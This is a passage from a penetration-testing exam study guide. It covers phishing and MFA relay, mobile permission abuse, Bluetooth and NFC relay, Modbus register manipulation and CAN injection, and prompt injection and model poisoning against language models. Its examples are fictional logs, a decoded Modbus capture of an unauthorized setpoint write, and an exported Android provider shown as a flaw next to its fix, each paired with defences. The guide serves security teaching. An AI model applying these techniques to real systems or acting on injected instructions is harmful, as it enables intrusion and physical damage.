It has limits. In 2025 Proofpoint showed that a proxy can steer a login to a weaker fallback if the account still has one. It noted it had yet to see this in the wild. So the fix includes removing weak fallbacks. Microsoft also recommends device-based access rules, which limit what a stolen session can do. Defenders can see the pattern in sign-in logs:
Fictional sign-in log for a test account
09:14:02 staff-test-03 SSO 198.51.100.40 mfa=app-code success (hosting provider, not a client site)
09:14:40 staff-test-03 Mail 203.0.113.77 mfa=session success (same session, new address, 38 seconds later)
09:15:03 staff-test-03 SSO 192.0.2.15 no session prompted (the user's real office address)
Bottom line: the first two lines are the alert. One session used from two distant addresses within a minute is worth more to a defender than any click count.

Bautsch - CC0 - Wikimedia Commons
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Phishing (T1566) | Attention at scale | Gophish, SET | Filter logs, reports, clicks to a new domain | Filters, banners, a report button |
| Spearphishing | Public detail makes a message plausible | OSINT tools, Gophish | Few messages, so few signals | Less public detail; out-of-band checks |
| Whaling | Authority and payment power | As spearphishing | Unusual payment or data requests | Two-person payment approval |
| Smishing (T1660) | Phones hide links; no mail gateway | Text gateway, by agreement | User reports, mobile protection alerts | A report route for phones; bound MFA |
| Vishing (T1566.004) | Live pressure; weak identity checks | A telephone | Reset tickets, MFA device changes | Callback verification |
| Credential harvesting (T1598, T1539) | Secrets typed on the wrong site | Gophish, SET, Evilginx | Look-alike host; odd sign-in sources | WebAuthn; password managers; no fallback |
| Watering hole (T1189) | Trust in a familiar site; unpatched browsers | BeEF, on an owned page | Script from an odd host; exploit alerts | Patching, browser isolation, web filtering |
| Impersonation (T1684.001) | Requests accepted on a speaker's word | A pretext from OSINT | Requests outside normal channels | Out-of-band verification |
| Dumpster diving | Waste treated as worthless | Gloves, camera | Rarely anything; a camera at the bins | Cross-cut shredding, locked bins |
| Surveillance | Routines visible from outside | Notes, camera | Alert guards, cameras | Badges hidden off-site; patrols |
| Shoulder surfing; eavesdropping | Screens, keypads and work talk in public view | Eyes and ears | Very little | Privacy filters; bound MFA; closed rooms |
| Tailgating | Politeness at doors | None | Door logs against camera counts | Access control vestibule; challenge culture |
What the exam asks, and the pairs people confuse
Objective 4.8 begins "Given a scenario": expect a stem that describes a channel, target or tool behavior and asks for the name.
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Only the CEO and CFO are targeted | Whaling | Spearphishing in general, of which it is a kind |
| A compromised site that the targets already visit | Watering hole | Phishing, which delivers a message to them |
| Reads a PIN over a shoulder; overhears a call | Shoulder surfing; eavesdropping | Surveillance, which observes routines over time |
| Dashboard: sent, opened, clicked, reported | Gophish | SET, a menu of single demonstrations |
| Relays MFA and captures the session cookie | Evilginx | A cloned static page, which captures only what is typed |
| A browser is hooked and takes commands | BeEF | Evilginx, which sits in the login path |
| Build a target list from public sources | theHarvester, Recon-ng | Maltego, chosen when the stem stresses a graph of relationships |
| SPF and DKIM pass, DMARC fails | Neither passing domain aligns with From | A broken signature, which would show dkim=fail |
| What defeats a reverse proxy? | Phishing-resistant MFA: FIDO2, WebAuthn, PKI | SMS or app codes, which can be relayed |
| Clicks fell, but the template changed | No evidence of learning without a control group | A proven training effect |
How social engineering findings are reported
The finding names a control that failed, and never a person. Here is one for Alder Valley, which also asked you to test its single sign-on portal on five accounts created for the purpose.
- Title: Reverse-proxy phishing defeats SMS and app-code MFA on the single sign-on portal.
- Severity: High. A proxy obtained a valid session for all three test accounts using codes and none for the two using security keys, and the client's directory shows 1,050 of 1,200 staff use codes. It is not Critical because a user must reach the proxy and sign in.
- Evidence: sign-in log entries for staff-test-01 to 05 with timestamps and source addresses; session values discarded; campaign counts by department, with no names.
- Root cause: the authenticators in use do not bind their output to the site's origin, weak methods remain available, and no rule ties a session to a managed device.
- Remediation: move administrators first, then all staff, to FIDO2 keys or passkeys; remove code fallback where those are in place; require managed devices for sensitive applications; alert on one session used from two addresses; retest on fresh test accounts.
Notice what is absent: "users need more training" as the remediation. Report click and report rates with the template's Phish Scale rating and any comparison group, and state in the limitations what the numbers cannot show.
Common misconceptions
- "A falling click rate proves training works." Template difficulty alone can move results by many points. Without an untrained group, you cannot tell.
- "Simulations are useless, so skip them." A campaign still measures filters, banners, reporting and response.
- "MFA stops phishing." Codes can be relayed through a reverse proxy. Only origin-bound methods resist, and only if weak fallbacks are removed.
- "DMARC pass means the email is safe." It says which domain stands behind the message. A look-alike domain can pass every check.
Putting it together
- In a randomized trial of 19,789 healthcare employees over eight months, embedded training lowered failure by only 1.7 points, while lure choice moved it from 1.8 to 30.8 percent.
- Steep falls in click rates come from studies with no untrained group; volunteers at 28 days (Kumaraguru, 2009) are the randomized exception.
- Warnings and reports have better evidence: banners cut clicks by about two-thirds in Lain's trial, and reports began arriving within minutes.
- An ethical engagement settles sponsor, HR and legal, off-limits themes, data, consequences and debrief in writing first, and records events rather than secrets.
- Spearphishing is targeted, whaling targets executives, smishing uses SMS or MMS, vishing uses voice, and a watering hole compromises a site the targets already visit.
- Gophish measures campaigns, SET runs single demonstrations, Evilginx relays logins through a reverse proxy, BeEF hooks browsers, and theHarvester, Recon-ng and Maltego feed the plan.
- DMARC needs SPF or DKIM to pass for a domain aligned with the From line, and a pass does not make a look-alike domain honest.
- WebAuthn binds a signature to the site's origin, so a reverse proxy gets nothing to relay; typed codes carry no such binding.
Sources
- Ho, G., Mirian, A., Luo, E., et al. (2025). Understanding the efficacy of phishing training in practice. IEEE Symposium on Security and Privacy. sysnet.ucsd.edu (PDF)
- Lain, D., Kostiainen, K., and Capkun, S. (2022). Phishing in organizations. IEEE Symposium on Security and Privacy. arxiv.org; Lain, D., Jost, T., Matetic, S., Kostiainen, K., and Capkun, S. (2024). Content, nudges and incentives. ACM CCS. arxiv.org
- Kumaraguru, P., Cranshaw, J., Acquisti, A., et al. (2009). School of phish. Symposium on Usable Privacy and Security. cups.cs.cmu.edu (PDF)
- Caputo, D. D., Pfleeger, S. L., Freeman, J. D., and Johnson, M. E. (2014). Going spear phishing. IEEE Security and Privacy, 12(1), 28-38. https://doi.org/10.1109/MSP.2013.106
- Gordon, W. J., Wright, A., Aiyagari, R., et al. (2019). Assessment of employee susceptibility to phishing attacks at US health care institutions. JAMA Network Open, 2(3), e190393. pmc.ncbi.nlm.nih.gov
- KnowBe4. (2026, July 7). 2026 phishing by industry benchmarking report (press release). knowbe4.com
- National Cyber Security Centre. (2024). Phishing attacks: Defending your organisation. ncsc.gov.uk
- Longhi, L. (2020, December 23). GoDaddy employees were told they were getting a holiday bonus. The Copper Courier. coppercourier.com
- National Institute of Standards and Technology: Dawkins, S., and Jacobs, J. (2023). NIST Phish Scale user guide (TN 2276). csrc.nist.gov; (2025). SP 800-63B-4, section 3.2.5. pages.nist.gov
- World Wide Web Consortium. (2026). Web Authentication, Level 3. w3.org
- Miron, Y. (2025, August 12). Don't phish-let me down: FIDO authentication downgrade. Proofpoint. proofpoint.com
- Cybersecurity and Infrastructure Security Agency. (2025, revised). Scattered Spider (AA23-320A). cisa.gov
- Microsoft. (2022). From cookie theft to BEC. microsoft.com; (2026). Configure the advanced delivery policy. learn.microsoft.com
- Herr, T., and Levine, J. (Eds.). (2026). DMARC (RFC 9989), sections 2.2 and 4.4. rfc-editor.org; Klensin, J. (2008). SMTP (RFC 5321), section 4.4. rfc-editor.org
- MITRE. (n.d.). ATT&CK: T1566, T1566.004, T1598, T1539, T1660 (mobile), T1189 and T1684.001.
- Tool documentation: Gophish; Social-Engineer Toolkit; Evilginx; BeEF; theHarvester, Recon-ng and Maltego as cited in Lesson 6.
- Legal texts: 18 U.S.C. 912 and 2511; California Penal Code 632; GDPR Article 5; Works Constitution Act, section 87
- Key terms
- Social engineering (security)
- Manipulating people into giving up information or access, or taking an action, instead of attacking technology directly.
- Phishing
- Electronically delivered social engineering, broad or targeted, usually through links or attachments in messages.
- Spear phishing
- Phishing aimed at a chosen person, company or industry, tailored with details about the target; aimed at senior executives, it is called whaling.
- Voice phishing
- Social engineering over a phone call, known as vishing; ATT&CK lists it as Spearphishing Voice, T1566.004.
- SMS phishing
- Social engineering through text messages, known as smishing, which avoids the mail gateway and its checks.
- Watering hole attack
- Compromising a website a target community already visits and waiting for its members to arrive; ATT&CK files it under Drive-by Compromise, T1189.
- Embedded training
- Security training shown immediately to a person who fails a simulated phishing test, which randomized workplace trials find gives small or no benefit.
- DMARC
- Domain-based Message Authentication, Reporting, and Conformance: an email check that needs SPF or DKIM to pass for a domain aligned with the visible From domain.
- Reverse proxy
- A server that relays traffic to another server; a phishing kit built this way passes MFA challenges through and keeps a copy of the session cookie.
- WebAuthn
- The web standard for public-key sign-in, used by FIDO2 keys and passkeys, which scopes each credential to its site so that an impostor site cannot use it.
Phones, Radios, Factories, and Models: Attacks on Specialized Systems
- Explain how mobile, short-range radio, industrial, vehicle and AI systems are attacked, by naming what each accepts without proof.
- Interpret a decoded Modbus or CAN capture, and separate register manipulation, plaintext exposure and replay from normal traffic.
- Explain what MobSF, Frida, Drozer, ADB, tcprelay, Bluestrike, Scapy, Wireshark and tcpdump are for, and choose among them.
- Report a specialized-system finding with a severity, evidence, root cause and fix that fit the system.
Over 600 apartment buildings and a protocol that never asks who is speaking
In January 2024, during sub-zero temperatures, a municipal district energy company in Ukraine lost heating service to over 600 apartment buildings, and repairs took almost two days.[1] The security firm Dragos reports that attackers sent Modbus commands to controllers in Lviv, causing inaccurate measurements and malfunctions. It assesses with moderate confidence that the tool was FrostyGoop, aimed at port 502 open to the internet.[1] MITRE describes FrostyGoop as software that reads and writes holding registers, using legitimate Modbus commands.[2] Nothing had to be cracked. The 50-page Modbus specification never mentions authentication, passwords or encryption, so a controller has no way to ask who is speaking.[3]
Objective 4.9 groups four targets that look nothing alike: phones, short-range radios, industrial and vehicle networks, and artificial intelligence (AI) models. Each accepts something without proof, and an attacker can reach it. Learn that one fact per family and you can rebuild most of the objective from memory. This is also where Lesson 7's promise lands: how its four industrial protocols are attacked and defended.
Exam objectives: 4.9 (mobile attacks: information disclosure, jailbreak/rooting, permission abuse; AI attacks: prompt injection, model manipulation; operational technology (OT) attacks: register manipulation, Controller Area Network (CAN) bus, Modbus, plaintext, replay; near-field communication (NFC), bluejacking, radio-frequency identification (RFID), Bluetooth spamming; tools: Scapy, tcprelay, Wireshark/tcpdump, MobSF, Frida, Drozer, Android Debug Bridge, Bluestrike). The objective begins "Explain", so expect to define, recognize and compare, not perform.
The comparison: what each system accepts without proof
| Family | Accepts without proof | When that is reached | Exam terms | What fixes it |
|---|---|---|---|---|
| Phones | That the operating system's walls hold | Stored secrets are read; other apps borrow this app's powers | Information disclosure, jailbreak/rooting, permission abuse | Secrets off the device; explicit permissions; server-side integrity checks |
| Short-range radios | That being close means being allowed | Unwanted messages, floods, cloned tags, relayed cards | Bluejacking, Bluetooth spamming, NFC, RFID | Cryptographic proof in place of presence |
| Industrial and vehicle networks | That anyone on the wire may speak | Values are read, commands obeyed, something physical changes | Modbus, register manipulation, plaintext, replay, CAN bus | Segmentation now; authenticated protocols where supported |
| Language models | That everything in the context deserves attention | Outside text steers the model; tampered training changes it for good | Prompt injection, model manipulation | Limit what the model can do; verify where it came from |
Read it three ways. Down the second column, a phone at least has identities and walls, though a jailbreak removes them. Radios swap identity for distance, classic industrial protocols and CAN have no identity at all, and a language model has no boundary to check. Down the last column, an industrial command is a fixed format, so authentication can be added around it; a model's input has no such structure, so that row limits damage instead of closing the hole. Then consider consequence: a phone loses data, a plant can lose heat or pressure, and an assistant does whatever its tools allow.
The point: ask what a system accepts without proof. The answer names the attack, and the fix either supplies the missing proof or limits what an unproved message can do.
Extra rules for systems that can hurt someone
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere.
Here a mistake can also move something physical: NIST SP 800-82 warns that active scanning can disrupt OT and recommends passive monitoring from SPAN ports or taps.[4] Radio reaches bystanders who agreed to nothing. Staff phones need their own line in the rules of engagement (ROE), and hosted models need an account, so read the provider's terms first.
So this lesson transmits nothing and touches no equipment. It has no frames you could send, no packet-crafting code and no working injection text: you read fictional decoded captures and write findings.
Phones: Android's sandbox and three ways around it
Android gives each app its own user ID and builds a kernel-level sandbox on it.[5] iOS walls apps off too. Each mobile attack on the exam is a way around that wall, or a reason it never mattered.
Information disclosure needs no break-in. A key sits hard-coded in the package, a token in a log, a secret in an unencrypted file or in traffic without TLS. OWASP's Mobile Top 10 for 2024 files these under M1 Improper Credential Usage, M5 Insecure Communication, M6 Inadequate Privacy Controls and M9 Insecure Data Storage.[6] It works because developers treat the phone as private, while anyone holding the package can unpack it. Your evidence is a file path and a redacted excerpt.
Rooting (Android) and iOS jailbreaking remove the operating system's limits; Apple says this bypasses security features.[5]
The term has two sides. Malware on a jailbroken phone can reach what the sandbox hid. For a tester it is a method: OWASP's testing guide recommends rooting a real test device, because it gives full control.[6] So "you rooted it, so it does not count" is backward: root is your viewpoint, and the finding is what the app exposed to it.
The defense lives on the server: Google's Play Integrity reports whether requests come from the genuine app on a genuine device, and Apple's App Attest does a similar job.[5]
Permission abuse has two forms. An app asks for more than it needs and uses the extra for something the user never expected. Or it holds a permission legitimately and exposes a component with no check, so another app borrows its power. That second form is a confused deputy, an idea that returns with models. Here is the setting a reviewer looks for, abridged from a fictional app.
<!-- Vulnerable: other apps can use this provider -->
<provider android:name=".NotesProvider" android:exported="true" />
<!-- Fixed: only this app's own user ID can reach it -->
<provider android:name=".NotesProvider" android:exported="false" />
Android's documentation backs both comments; a partner app that truly needs access gets read and write permissions set on the provider instead.[5] Drozer's attack-surface report sums up such facts for a whole app, in this format from its guide, with fictional values.[7]
Attack Surface:
2 activities exported
0 broadcast receivers exported
1 content providers exported
1 services exported
is debuggable
Those are doors to try. An exported provider becomes a finding when you show what an app with no permissions can read through it.
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Information disclosure | Secrets kept where the holder or another app can reach them | MobSF, ADB, Frida | Little on the phone; later, leaked keys in server logs | Keys on the server; platform keystore; clean logs; TLS |
| Jailbreak/rooting | Security that depends on limits the holder can remove | ADB, Frida, tcprelay, on a test device | Failed attestation; device-management alerts | Server-side integrity checks; treat the client as untrusted |
| Permission abuse | Excess permissions; exported components with no check | Drozer, MobSF, ADB | Odd calls between apps; app-store review flags | Fewest permissions; not exported, or a permission on it |

Kgw1226 - CC BY-SA 4.0 - Wikimedia Commons
MobSF, Frida, Drozer, ADB and tcprelay: five tools for one test phone
| Tool | Purpose and output | What it needs | Choose it when |
|---|---|---|---|
| MobSF (Mobile Security Framework) | Static analysis of APK, IPA and APPX packages and source; dynamic analysis of Android and iOS apps.[7] Gives a report of manifest, code and secrets findings. | The package; an emulator or device for dynamic work | You want a first pass over any app (Lesson 11) |
| Android Debug Bridge (ADB) | A client, a device daemon (adbd) and a server on your computer at TCP port 5037.[5] Gives a shell, logcat logs, file transfer, installs, port forwards. | USB debugging on, and the computer's RSA key accepted on the phone.[5] | You need to reach an Android device at all |
| Frida | Injects JavaScript or a library into a running app.[7] Gives a live view of the calls and values you chose to watch. | frida-server on the device, or frida-gadget embedded in the app.[7] | The answer exists only at run time, such as what an app passes to its encryption routine |
| Drozer | Acts as an app against other apps' interprocess communication (IPC) endpoints.[7] Gives attack-surface counts, then what each exported component returns. | An agent app on the device and a console on your computer.[7] | The question is "what could another app make this one do?" Android only |
| tcprelay | Relays a TCP port on an iPhone to your computer over USB.[8] Gives a local port and no report. | usbmuxd and a cable; usually SSH on a jailbroken test iPhone.[6] | You need a service on an iPhone with no Wi-Fi path |
Two status notes. Reversec maintains Drozer, and its README labels the Python 3 rewrite a beta.[7] And tcprelay needs plain speaking: the objectives give only the name.[8] The best-documented match is tcprelay.py, a small script Hector Martin wrote in 2009 as a TCP relay for usbmuxd, the daemon that maps an iPhone's local ports to your computer.[8][6] It has left usbmuxd's current source tree, and OWASP's guide now lists iproxy for the job.[6] Unrelated projects share the name, so read a stem for context, and do not confuse it with Tcpreplay, which edits and replays saved captures.[8]
One trap: most phones run on ARM (Advanced RISC Machine, where RISC is reduced instruction set computer) processors, and whatever you push to a device must match. Frida's Android guide suggests an ARM or ARM64 emulator image and warns that x86 has had far less testing.[7]
Bluetooth, NFC and RFID: when being close counts as proof
Short range feels like a control, but nearby strangers exist and distance can be stretched. NIST describes bluejacking as sending unsolicited messages to a Bluetooth device: harmless in itself, though it may entice the user to respond or add the contact.[4] Bluesnarfing exploits a firmware flaw in older devices to reach stored data, and bluebugging exploits one to use the device's commands without telling the user.[4] Jacking pushes, snarfing pulls, bugging commands.
Bluetooth spamming has no definition in the objectives. It means bluejacking at scale, or floods of Bluetooth Low Energy advertisements, which devices broadcast before any pairing. In 2023 TechCrunch tested a researcher's demonstration. A Flipper Zero on altered firmware made nearby iPhones show pop-ups for AirTags and other devices that were not there. The test did not produce the full barrage the researcher described, which the report calls essentially a denial of service.[9]
A phone reacts before anything proves who sent the advertisement. Turning Bluetooth off in Control Center did not help; turning it fully off in Settings did.[9] Here is the tell in a fictional ten-second survey: one row is a neighbor, and the other is one transmitter in 123 costumes.
| Advertiser | Claims to be | Packets | Signal |
|---|---|---|---|
| 123 short-lived addresses | Earbuds, tags, TV boxes | 3 each | -41 to -42 dBm |
| One steady address | Fitness band | 12 | -67 dBm |
Near-field communication typically needs 4 cm or less, and people treat that as security.[5] A relay breaks the assumption. In 2024 ESET reported NGate, Android malware aimed at clients of three Czech banks. It passed NFC data from a victim's payment card, through the victim's phone, to an attacker's rooted phone that emulated the card at an ATM.[9] The exchange proves the card is genuine, not that it is near, just as Ken Tindell writes of relayed car keys: "The car accepts the relayed message as valid because it is".[11]
Public NFC tags have a simpler problem: a tag is a stored link, so whoever replaces it chooses where phones go.
Radio-frequency identification reaches well past Lesson 13's door badges. NIST defines cloning as reading a tag and programming another to behave like it, with documented cases in vehicle immobilizers and payment tokens.[4] Its other examples are about business: a tag moved to an unrelated item, a warehouse that stalls when RFID fails, a reader that reveals which container holds expensive electronics.[4]
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Bluejacking | Discoverable devices accept messages from strangers | Any Bluetooth phone of the period | Odd contact prompts | Non-discoverable mode; decline |
| Bluetooth spamming | Phones act on unauthenticated advertisements | A programmable radio; Bluestrike to scan | Pop-up floods; many short-lived devices at one signal strength | Limits on prompts; Bluetooth fully off in hostile places |
| NFC relay | The exchange proves genuineness, not nearness | NFCGate in research; malware in the wild.[9] | Withdrawals with the card elsewhere; new payment apps | Official app sources; NFC off when unused; shielded card cases.[9] |
| RFID cloning | A tag answers any reader with no cryptographic proof | Proxmark3 (Lesson 13) | One identity in two places; stock counts that disagree | Key-based tags; back-end cross-checks; shielding |
Bluestrike also gets plain speaking: the objectives only name it.[8] The match is StealthIQ's Bluestrike on GitHub, a small Python project. Its README calls it a tool for jamming Bluetooth signals, "in the making", that works on speakers but not AirPods, and its last code push was January 2024.[8]
It offers two things: scan for devices, and "kick" one. The code shows the kick relies on flooding a device with connection traffic, such as Bluetooth echo requests through Linux's l2ping, not on jamming the radio band.[8]
File it as Bluetooth enumeration plus denial of service. No manual or output format exists, so none is shown here, and a newer, unrelated project shares the name.

The original uploader was Kallemax at English Wikipedia . - Public domain - Wikimedia Commons

Turbospok - CC BY-SA 4.0 - Wikimedia Commons

John Robert McPherson - CC BY-SA 4.0 - Wikimedia Commons

Boevaya mashina - CC BY-SA 4.0 - Wikimedia Commons
Factories: how Modbus talks to a programmable logic controller
A programmable logic controller (PLC) reads sensors and drives outputs in a loop. A human-machine interface (HMI) shows operators the values and lets them set targets. SCADA (supervisory control and data acquisition) systems control dispersed assets across a site or region.[4] Modbus gives them four tables: discrete inputs (1 bit) and input registers (16 bits) are read-only, while coils (1 bit) and holding registers (16 bits) are read-write.[3]
Function codes say what to do: 1 Read Coils, 3 Read Holding Registers, 5 Write Single Coil, 6 Write Single Register, 15 Write Multiple Coils, 16 Write Multiple Registers, 43/14 Read Device Identification.[3] On TCP, a short header carries a Transaction Identifier, Protocol Identifier, Length and Unit Identifier. None names the sender, and the server just copies the Transaction Identifier back so the client can pair request and reply.[3]
- A Modbus attack is any abuse of that openness, from asking a device its identity to mapping registers and sending writes.
- Register manipulation is the write itself: changing a holding register or coil so the process does something else. ATT&CK calls the effect Modify Parameter (T0836) and the message Unauthorized Message: Command Message (T1692.001; the older ID T0855 redirects there).[2]
- A plaintext attack sits under OT in the objectives, undefined.[8] Here it means exploiting unencrypted control traffic: anyone who can capture it reads every value and setpoint, and someone on the path can alter them. It is not cryptography's known-plaintext attack, which compares plaintext with ciphertext to attack a cipher. Classic Modbus has no cipher.
- A replay attack records a valid message and sends it again, unchanged. It works when nothing proves freshness: no timestamp, counter or challenge. Replayed reports matter too, since operators can be shown old, healthy values; ATT&CK tracks spoofed telemetry as Reporting Message (T1692.002).[2]

Modbus Organization - CC BY-SA 4.0 - Wikimedia Commons
Worked example: reading a decoded Modbus capture
A fictional water cooperative has authorized a passive assessment: capture only, from a SPAN port. You hold the asset list (192.0.2.10 HMI, 192.0.2.20 PLC, 192.0.2.30 engineering workstation) and the register map: holding register (HR) 40 is the tank's high-level setpoint, normally 72 percent, range 60-80. These addresses are reserved for documentation, and this is a decoded view, not raw frames.
No. Time Source Destination Trans Function Item Value
101 09:14:02 192.0.2.10 192.0.2.20 3301 3 Read HR HR 40-41 (query)
102 09:14:02 192.0.2.20 192.0.2.10 3301 3 Read HR HR 40-41 72, 0
103 09:14:07 192.0.2.77 192.0.2.20 18 43/14 Ident none (query)
104 09:14:07 192.0.2.20 192.0.2.77 18 43/14 Ident none vendor, model, rev
105 09:14:31 192.0.2.77 192.0.2.20 19 3 Read HR HR 0-60 (query)
106 09:14:31 192.0.2.20 192.0.2.77 19 3 Read HR HR 0-60 [61 values]
107 09:15:12 192.0.2.77 192.0.2.20 20 6 Write HR HR 40 95
108 09:15:12 192.0.2.20 192.0.2.77 20 6 Write HR HR 40 95
109 09:15:14 192.0.2.10 192.0.2.20 3302 3 Read HR HR 40-41 (query)
110 09:15:14 192.0.2.20 192.0.2.10 3302 3 Read HR HR 40-41 95, 0
- Sort reads from writes. Functions 3 and 43/14 read; function 6 writes. In Wireshark, the display filter
modbus.func_code == 6leaves only frames 107 and 108.[8] - Check who spoke. 192.0.2.77 is not on the asset list, and an address is the only identity on offer.
- Check whether it worked. Frame 108 repeats the request, which is what the specification says a successful Write Single Register returns.[3] Frame 110 confirms it: the HMI now reads 95, past the top of the range.
- Name each part. Frames 103-106 are Modbus reconnaissance: identity, then a register map. Frame 107 is register manipulation. You could read it all because the traffic is plaintext.
- Rule out replay. The value 95 appears nowhere earlier, and transaction 20 follows the host's own sequence. A replay would copy an earlier write, and nothing here would have stopped one.
- Decide. You sent none of this. A stranger writing an out-of-range setpoint on a live plant may be a safety event, so stop analyzing and use the ROE's escalation path now (Lesson 27).
Had the source been the engineering workstation with an approved change record, the frames would look identical. The protocol cannot tell you which is which; your asset list and change records can.
A second run: the same plant on port 802
Change one input. The PLC now speaks Modbus/TCP Security on port 802: X.509v3 certificates, mutual TLS authentication and roles carried in the certificates, with the Modbus header inside unchanged.[3] The same morning's capture now shows only TLS records, and 192.0.2.77's handshake ends in a fatal alert. Compare the answers.
| Question | Port 502 | Port 802 |
|---|---|---|
| Can a capture show registers and values? | Yes | No, only encrypted records, addresses and timing |
| Can a stranger write? | Yes | No, the handshake fails without a valid certificate |
| Does a replayed copy work? | Yes | No, TLS numbers and authenticates its records |
| Can a compromised engineering workstation write? | Yes | Yes, if its role allows; authorization rules are product specific.[3] |
| Can a passive monitor read function codes? | Yes | No, so monitoring moves to the endpoints |
The finding has flipped from "anyone can write" to "is certificate and role management sound?" Many fielded controllers cannot speak this, so NIST SP 800-82 offers layers:
- OT firewalls whose parsers allow deep packet inspection of Modbus and DNP3
- intrusion detection signatures for them
- unidirectional gateways
- PLC key switches left in run or remote mode with the key removed
- separate safety instrumented systems[4]
Deep inspection is how a rule can allow a host's reads and refuse its writes.
DNP3, BACnet and MQTT: the other three ports from Lesson 7
| Protocol, port, setting | The gap | How it is attacked | How it is defended |
|---|---|---|---|
| DNP3, 20000: power grids and other utilities.[10] | Control messages cross potentially insecure channels.[10] | Spoofed, altered or replayed commands where authentication is off; values read in transit | Secure Authentication v5 (IEEE 1815-2012) addresses spoofing, modification and replay, and eavesdropping only on key exchanges.[10] |
| BACnet, 47808: building automation | BACnet International names encryption as the key difference between BACnet/SC and BACnet/IP or MS/TP.[10] | Device properties read; setpoints changed by anyone who can reach the segment | BACnet/SC uses WebSockets and TLS for peer authentication and encryption; segment the rest.[10] |
| MQTT, 1883: sensors publishing through a broker | The specification leaves network, privacy, authentication and authorization choices to implementers.[10] | Reading every topic on an open broker with the multi-level wildcard (#); publishing false readings | Authentication, per-topic rules, TLS on 8883; current Mosquitto refuses anonymous clients by default, unless no listener is configured, and then allows the local machine only.[10] |
The pattern repeats: a secure form exists, but the installed base may not use it, so first find out which form you face. Note that DNP3's secure form authenticates without encrypting: a capture can still show process values, yet a forged command fails. "Secure" never tells you which property you got.
CAN bus: a network with no sender field
A CAN bus links the electronic control units (ECUs) in a vehicle or machine. Texas Instruments describes a multi-master, message broadcast system: short messages such as temperature or RPM go to the entire network, and in a collision the highest-priority identifier always wins.[11] That identifier names the message and its priority, and no field in the standard frame names the sender.[11] A CAN bus attack is any injection that abuses this: every ECU has to trust what appears on the wire.
Attackers have reached the bus from both directions. In 2015 Charlie Miller and Chris Valasek reached an unaltered Jeep Cherokee over the cellular network through its head unit, affecting steering and braking. Chrysler recalled 1.4 million vehicles, and Sprint blocked the traffic on its network.[11] Tindell's 2023 account goes the other way. Thieves reached a Toyota RAV4's CAN wiring through the headlight connector. They sent fake messages as if from the smart key receiver, because in most cars such messages are not protected.[11] A second transmitter looks like this, in a fictional bench capture decoded by signal name.
| Time (ms) | Message | Decoded value | Gap since last copy |
|---|---|---|---|
| 1000 | WHEEL_SPEED | 62 km/h | 20 ms |
| 1020 | WHEEL_SPEED | 62 km/h | 20 ms |
| 1024 | WHEEL_SPEED | 0 km/h | 4 ms |
| 1028 | WHEEL_SPEED | 0 km/h | 4 ms |
| 1040 | WHEEL_SPEED | 62 km/h | 12 ms |
There is no Source column because the frame has no source. The evidence is behavior: a periodic message has lost its rhythm, and two values are fighting. The fixes add the missing proof. AUTOSAR's Secure Onboard Communication authenticates messages and tracks freshness. Tindell calls for a Zero Trust approach where an ECU does not automatically trust its neighbors. A gateway helps only if it does more than copy messages between buses.[11]
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Modbus attack (mapping) | Devices answer anyone on port 502 | Wireshark, tcpdump to study it | New hosts polling; identification requests | Firewall allow list; segmentation |
| Register manipulation | Writes need no authorization | Wireshark to see it; write tools on a bench only | Function 5, 6, 15 or 16 from an unlisted host; odd values | OT firewall; range limits; key switch; Modbus/TCP Security roles |
| Plaintext attack | Control traffic is unencrypted | Wireshark, tcpdump | Often nothing, since capture is silent | TLS forms of each protocol; encrypted tunnels |
| Replay attack | Nothing proves freshness | Scapy, on a bench only | A copy of an earlier message; a transaction number out of sequence | TLS; DNP3 Secure Authentication; Secure Onboard Communication |
| CAN bus attack | Broadcast with no sender field | Wireshark on a bench bus | Off-rhythm timing; conflicting values | Message authentication; gateways; protected wiring |

Author this image Taras Babich, but I was inspired on site... - CC BY-SA 4.0 - Wikimedia Commons
Models: why prompt injection has no parameterized query
Lesson 17 fixed SQL injection by keeping code and data in separate channels, and noted that prompt injection shares the pattern. The resemblance ends at the fix. OWASP's Top 10 for LLM Applications 2026 says a large language model (LLM) makes no architectural distinction between instructions and data, so there is no clean equivalent to parameterized queries.[12] The UK's National Cyber Security Centre (NCSC) puts it more bluntly: "there is only ever 'next token'".[13]
Prompt injection is input that changes a model's behavior in ways the developer did not intend.[12] Direct injection comes through the user's own input. Indirect injection arrives in content the model reads, such as a web page, email, tool response or retrieved passage, which the user neither supplied nor saw.[12] Jailbreaking here means making a model break its safety rules, so watch that word: on a phone it means something else.[12] No injection text appears here, because the mechanism is what you need: any text the model reads can steer it.
The damage depends on what is connected. OWASP names three multipliers: the context is one pool with no enforced trust boundary, an injection written to memory or a knowledge base taints later sessions, and agents turn model output into tool calls.[12] The case to know is EchoLeak (CVE-2025-32711), a zero-click flaw in Microsoft 365 Copilot that allowed remote, unauthenticated data exfiltration through a single crafted email.[13]
So defense starts elsewhere. NCSC treats the model as an "inherently confusable deputy" and calls for deterministic safeguards outside it.[13]
OWASP agrees: keep credentials and state-changing power in application code, grant least privilege per operation, validate output against a strict schema in trusted code, and ask a person before anything irreversible or externally visible. It warns that labeling outside content as data helps only against attackers who do not adapt.[12]
Its Rule of Two gives a test: untrusted input, sensitive data, and state change or external communication, all at once, is high risk, and an agent with all three needs per-action human approval.[12] Compare two designs of a fictional clinic help desk assistant.
| Design question | Design A | Design B |
|---|---|---|
| Reads email and patient records? | Yes, both | Yes, both |
| Acts outward? | Sends email on its own | Drafts; a person approves each send |
| Credentials and checks | In the prompt | In application code, checked on each call |
| If an injected email succeeds | Records can leave the clinic | A bad draft waits in front of a person |
The injection may succeed against both, and an honest tester says so. A filter that blocks your test phrase proves little, which is why OWASP asks for testing against adaptive attackers.[12] The point: with a model you report blast radius, not just the injection, and the fix sits outside the model.
Model manipulation: changing what the model learned
Prompt injection steers one context. Model manipulation changes the model itself, or what ships with it. CompTIA's term has no exact match on OWASP's list; the nearest entries are LLM05:2026 Data and Model Poisoning and LLM04:2026 Supply Chain.[12] NIST defines poisoning as attack during the training stage, causing broad degradation or, with targeted and backdoor poisoning, failures on a small set of targets; inputs crafted to fool a finished model are evasion attacks.[4]
